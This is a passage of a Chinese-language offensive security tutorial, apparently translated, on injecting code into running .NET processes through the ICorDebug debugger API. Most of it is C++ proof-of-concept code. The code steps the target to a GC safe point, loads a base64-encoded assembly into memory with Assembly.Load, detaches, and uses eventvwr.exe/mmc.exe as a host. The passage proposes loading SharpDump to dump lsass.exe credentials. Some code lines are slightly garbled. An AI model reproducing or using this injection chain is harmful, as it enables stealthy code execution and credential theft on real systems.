要在事件之外手动停止和恢复进程,我们可以调用 ICorDebugController 方法实现:
// Stop execution of our target
debug->Stop(0);
// Resume execution of our target
debug->Continue(0);
既然我们对所要*事有了进一步了解,下一步就需要处理那些在连接到目标的整个过程中将发生的异步事件。为此,我们设计一个可以同时实现 ICorDebugManagedCallback 和 ICorDebugManagedCallback2 接口的类,如下所示:
class ManagedCallback : public ICorDebugManagedCallback, public ICorDebugManagedCallback2
{
...
}
所有回调事件的说明文档 。
本文不会每一个都详细介绍,因为我们只需要关心其中的少数几个,即可实现将代码注入.NET进程的目的。为了清楚起见,让我们快速看一下如何处理诸如触发断点之类的事件:
HRESULT ManagedCallback::Breakpoint(ICorDebugAppDomain *pAppDomain, ICorDebugThread *pThread, ICorDebugBreakpoint *pBreakpoint)
{
// Execution of the target is stopped when we enter this event handler
// Here we can do whatever we want (within reason ;)
//
DoSomethingInteresting();
//
// And we then resume execution before returning from our event handler
pAppDomain->Continue(false);
return S_OK;
}
如上所述,每次调用托管回调方法时,目标都会停止执行,但我们可以使用Continue(...)函数来恢复执行。如果不做这一步的话,目标基本上啥也干不了。
构建托管回调类之后,需要使用以下命令将其与我们的ICorDebug对象相关联:
ManagedCallback* handler = new ManagedCallback();
return debug->SetManagedHandler(handler);
至此,调试器已准备就绪。现在,我们只需要构造一些东西,以便在目标中执行任意代码。
注入什么?从简单开始,首先调用.NET方法,该方法将将程序集从磁盘加载到目标进程中。为此,我们将尝试远程调用 Assembly.LoadFile 方法,该方法具有以下签名:
public static System.Reflection.Assembly LoadFile (string path);
要在.NET进程中调用任何代码,我们需要一个 ICorDebugEval 接口的实例,顾名思义,它公开了在目标.NET运行时内评估代码所需的几种方法。
方法之一是 ICorDebugEval::Callfunction ,该方法允许我们直接调用一个.NET方法,在本例中就是直接调用 Assembly.LoadFile 方法。当然,我们还需要创建一个新 System.String 对象作为参数传递,可通过调用 ICorDebugEval::NewString 函数来完成。
但是,实际上在什么时候调用这些方法?事实证明,使用该 ICorDebugEval 接口的方式比较复杂,因为目标需要处于一种我们可以实际评估代码的状态。
如果我们尝试在错误的位置评估代码,则会收到如下错误:
图中 0x80131c23错误 或 GC unsafe point 到底是什么意思?不幸的是,关于这个文档中并没有过多描述,但是经过一番百度之后,找到了一片文章,是这样解释的:
当JIT编译器编译方法时,它可以插入一个检查GC是否挂起的特殊函数的调用。如果是这样,线程将被挂起,GC将运行至结束,然后继续执行该线程。编译器插入这些方法调用的位置称为GC安全点。
因此,从本质上讲,我们需要以一种类似于进行垃圾回收的方式来安全地评估代码。
事实证明,盲目地寻找能够满足这一要求的时机可能很棘手(目标没有可用的源代码或PDB),但是我发现实现这一目标的较简单方法之一就是:使用 ICorDebugStepper 实例来逐步跟踪我们的附加进程。该接口使我们能够以与使用标准调试器时相同的方式逐步浏览托管代码。如果重复执行此操作,则最终可以找到一个评估所需.NET代码的安全点。
在实践中这种方法很有成效,但是当我们试图到达目标CLR正在将JIL设置为某个IL的点时,这意味着挂起的应用程序(或处于停滞状态的应用程序)不太可能使我们能够注入我们的代码。值得庆幸的是,有许多备用手段(以及我们稍后将讨论的一些COMPlus变量)使这一过程变得更加容易,我们将在下文介绍。
现在,在继续创建步进器之前,有必要重点介绍.NET应用程序的组件如何映射到调试器API,这将有助于我们稍后理解一些POC代码。它看起来像酱紫:
要创建步进器,我们需要找到一个与其关联的活动线程,可以通过使用 ICorDebugProcess::EnumerateThreads 或 ICorDebugAppDomain::EnumerateThreads 函数来枚举现有线程,从而允许我们检索 ICorDebugThread 实例数组。
注意:尽管我们在这里讨论线程,但必须指出,它们是“托管线程”的表示形式,与我们通常处理的传统OS线程不同。不幸的是,这些术语在文档中通常没有区别,但是对于调试器API而言,这很重要。
通过收集活动线程列表,我们可以使用该 ICorDebugThread::CreateStepper 方法创建并关联步进器。
确保成功连接后,还要向目标进程可能产生的任何新线程添加步进器。当发生一些有趣的事件时,由于已经有了通过托管回调处理程序调用的方法,因此我们可以根据需要使用 CreateThread 事件添加其他步进器:
HRESULT ManagedCallback::CreateThread(ICorDebugAppDomain *pAppDomain, ICorDebugThread *thread)
{
// Create a stepper
ICorDebugStepper *stepper;
thread->CreateStepper(&stepper);
// Step through code
stepper->Step(0);
// Continue execution of our assembly
pAppDomain->Continue(false);
return S_OK;
}
创建步进器后,在继续执行目标之前,将使用 ICorDebugStepper::Step 方法触发执行代码的步骤。一旦z这个触发点成功执行,就会通过事件再次提醒 ManagedCallback::StepComplete 处理程序。此时,我们尝试评估线程中的一些代码。
确定是否处于GC安全点的一个很好的起点是:尝试在目标进程中创建一个新的字符串对象,稍后将其用作 Assembly.LoadFile 调用的参数:
HRESULT ManagedCallback::StepComplete(ICorDebugAppDomain *pAppDomain, ICorDebugThread *pThread, ICorDebugStepper *pStepper, CorDebugStepReason reason)
{
ICorDebugEval *eval;
bool stepAgain = false;
// Create our eval instance
if (pThread->CreateEval(&eval) != S_OK)
{
stepAgain = true;
}
// Request a new string is created within the .NET process
if (eval->NewString(L"C:\\test.dll") != S_OK)
{
// If we land here, chances are we aren't in a GC safe point, so we need
// to step again until we are
stepAgain = true;
}
// If we were unable to create our string, we continue stepping until we can
if (stepAgain) {
pStepper->Step(0);
} else {
// If we were successful, we stop our stepper as we no longer require it
pStepper->Deactivate();
}
// Continue our targets execution
pAppDomain->Continue(false);
return S_OK;
}
在这里,只是尝试使用 ICorDebugEval::NewString 方法在目标进程内创建 System.String .NET对象。如果成功,可以确保我们处于GC安全点,这样就可以停止单步执行代码,而只要知道评估的代码可以工作,那就可以继续安全地执行应用程序。如果无法创建字符串,就要继续重试。
一旦我们能够成功执行该 ICorDebugEval::NewString 方法,接下来将等待调试器触发一个事件,该事件表明我们的评估已完成。这将通过API调用 ManagedCallback::EvalComplete 回调来完成。在这里,我们检索对创建的字符串的引用:
HRESULT ManagedCallback::EvalComplete(ICorDebugAppDomain *pAppDomain, ICorDebugThread *pThread, ICorDebugEval *pEval)
{
// Will reference our System.String object
ICorDebugValue *value;
// Retreive our System.String object reference
if (pEval->GetResult(&value) != S_OK)
{
return S_OK;
}
pAppDomain->Continue(false);
return S_OK;
}
将字符串对象存储在内存中之后,接下来需要将字符串传递给.NET的 Assembly.LoadFile 方法。同样,我们可以通过 ICorDebugEval 函数来完成此操作,但是首先需要检索对该方法的引用。为此,我们使用了另一个接口 IMetaDataImport 。这使我们能够从正在运行的进程中枚举一系列有用的信息,包括目标内可用的类型和方法。
首先,我们需要检索对.NET System.Reflection.Assembly 类的引用。为了简洁起见,我缩减了以下代码(完整的示例可以在文章结尾的POC中找到),但是检索类型引用看起来像这样:
HRESULT Debugger::FindAssemblyByName(ICorDebugAssembly **assembly, std::vector<ICorDebugAssembly *> *assemblies, std::wstring name)
{
ULONG32 inputLen = 1024;
WCHAR assemblyName[1024];
ULONG32 outputLen = 0;
for (int i = 0; i < assemblies->size(); i )
{
if (assemblies->at(i)->GetName(inputLen, &outputLen, assemblyName) == S_OK)
{
std::wstring asmName(assemblyName);
if (asmName.find(name.c_str(), 0) != std::string::npos)
{
// We have found our target assembly
*assembly = assemblies->at(i);
return S_OK;
}
}
}
return E_FAIL;
}
...
if (Debugger::FindAssemblyByName(&assembly, assemblies, "mscorlib.dll") != S_OK) {
return E_FAIL;
}
if (Debugger::GetModules(&modules, assembly) != S_OK) {
return E_FAIL;
}
modules->at(0)->GetMetaDataInterface(IID_IMetaDataImport, (IUnknown**)&metadata);
// Retrieve a reference to our type
hr = metadata->FindTypeDefByName("System.Runtime.Assembly", NULL, &typeDef);
一旦有了对.NET类的引用,我们就需要找到对 LoadFile 方法的引用:
if (!SUCCEEDED((hr = metadata->EnumMethods(&enumnum, typeDef, methodDefs, 1000, &count)))) {
return E_FAIL;
}
for (auto methodDef : methodDefs)
{
// Retrieve information on this method
metadata->GetMethodProps(methodDef, &typeDef, name, 1024, &nameLen, &flags, &sig, &sigLen, &rva, &implFlags);
// See if this matches
if (wcsncmp(L"LoadFile", name, 8 1) == 0)
{
module->GetFunctionFromToken(methodDef, function);
return S_OK;
}
}
return E_FAIL;
最后,一旦有了目标引用,就可以直接将方法与我们的字符串参数一起调用:
pEval->CallFunction(function, 1, &value);
此时,我们的代码将被加载并处于我们的目标进程中。剩下的就是从已加载的程序集中调用静态方法:
...
Debugger::FindMethod(&function, pAppDomain, L"test.dll", L"testnamespace.testmethod", L"Entry");
pEval->CallFunction(function, 0, NULL);
…
如果一切顺利,我们将看到恶意代码已加载并且注入的代码正在运行:
当然,现在从磁盘加载利用代码并不是一种理想的技术,那么使用该 Assembly.Load 方法从内存加载该程序有多容易呢?好了,只要我们可以调用所需的任何.NET方法,然后对 ICorDebugEval 回调的处理进行一些调整,综合起来就可以加载payload了,经过base64编码的payload如下:
// StepComplete Callback
//
// Load our Base64 encoded assembly string
if ((hr = eval->NewString(BASE64_ENCODED_ASSEMBLY)) != S_OK)
{
pStepper->Step(0);
return false;
}
...
// EvalComplete Callback 1
//
// Decode using System.Convert.FromBase64String
if (Debugger::FindMethod(&function, pAppDomain, L"mscorlib.dll", L"System.Convert", L"FromBase64String", 0) != S_OK)
{
std::cout << "[!] Fatal: Could not find method System.Convert.FromBase64String in mscorlib.dll" << std::endl;
exit(2);
}
pEval->CallFunction(function, 1, &value);
...
// EvalComplete Callback 2
//
// Use Assembly.Load to load our assembly in memory
if (Debugger::FindMethod(&function, pAppDomain, L"mscorlib.dll", L"System.Reflection.Assembly", L"Load", 7) != S_OK)
{
std::cout << "[!] Fatal: Could not find method System.Reflection.Assembly.LoadFile in mscorlib.dll" << std::endl;
exit(2);
}
pEval->CallFunction(function, 1, &value);
payload分离
至此,我们已经注入了代码,我们可以选择在执行恶意投标时将其绑定在目标进程上,或者使其分离调试器,继续自己执行(希望payload在内部运行)。
分离只是一个调用问题:
debug->Detach();
但是,如果要脱离目标并允许其继续执行而不会被*死,则需要满足许多条件。主要包括:
停止当前连接到线程的所有步进器。
需要完成所有的代码评估。
我们必须处于同步状态,无论是通过调用ICorDebug::Stop方法,还是通过使之处于一个回调事件处理程序中。
第1项和第3项非常容易实现,但是我想谈谈第2项。让我们以一个非常简单的.NET方法为例,该方法要在目标中执行:
namespace Injected {
class Injected {
public static void Entry() {
while(true) {
Console.WriteLine("I'm in...");
Thread.Sleep(2000);
}
}
}
}
然后我们通过以下方式请求执行此代码:
pEval->CallFunction(function, 0, NULL);
我们会发现,我们无法彻底脱离进程。这是因为我们不满足要求2,因为我们的代码评估永远不会返回,因此 EvalComplete 永远不会发生回调。这意味着任何分离尝试都将遇到错误 CORDBG_E_DETACH_FAILED_OUTSTANDING_EVALS 。
因此,我们必须时刻保证初始代码执行能够返回并且在尝试分离之前处理回调。话虽如此,让我们看一些典型目标的示例,以及如何使用它们执行一些常见的后渗透工具。
标准注入为了在一个正在运行的进程中执行我们的代码,我们需要找到一个不会闲置的目标。因此需要一个非常活跃的进程,并推动代码进行JIT处理。
一个潜在选择是 eventvwr.exe ,它实际上会在加载.NET运行时生成 mmc.exe 。由于此进程积极地在后台处理事件,因此它成为此类技术的理想目标。
那么如何才能在此进程中执行.NET方法呢?首先生成事件查看器留待他用:
STARTUPINFOW si;
PROCESS_INFORMATION pi;
HRESULT hr;
memset(&si, 0, sizeof(STARTUPINFOA));
si.cb = sizeof(STARTUPINFOA);
CreateProcessW(
L"C:\\\\Windows\\\\System32\\\\eventvwr.exe",
NULL,
NULL,
NULL,
false,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
π);
现在我们已经生成了进程,我们需要使用以下 ICorDebug::DebugActiveProcess 方法来连接调试器:
ICorDebugProcess *process;
debug->DebugActiveProcess(PID, false, &process);
连接完成后,我们可以使用上述步骤来执行任意.NET方法,或者在本poc中,加载任意.NET程序集。让我们尝试加载SharpDump,以表明我们可以控制进程,并有望允许转储lsass.exe内存。
这里有个演示小视频
量身定制注入在诸如 eventvwr.exe 之类的进程中,.NET的payload执行起来非常容易,我们还可以进一步针对目标进程本身进行定制注入。例如,其他.NET进程中, AddInProcess.exe 可以和.NET框架绑定。如果我们把它拆分出来,会发现它有两个参数: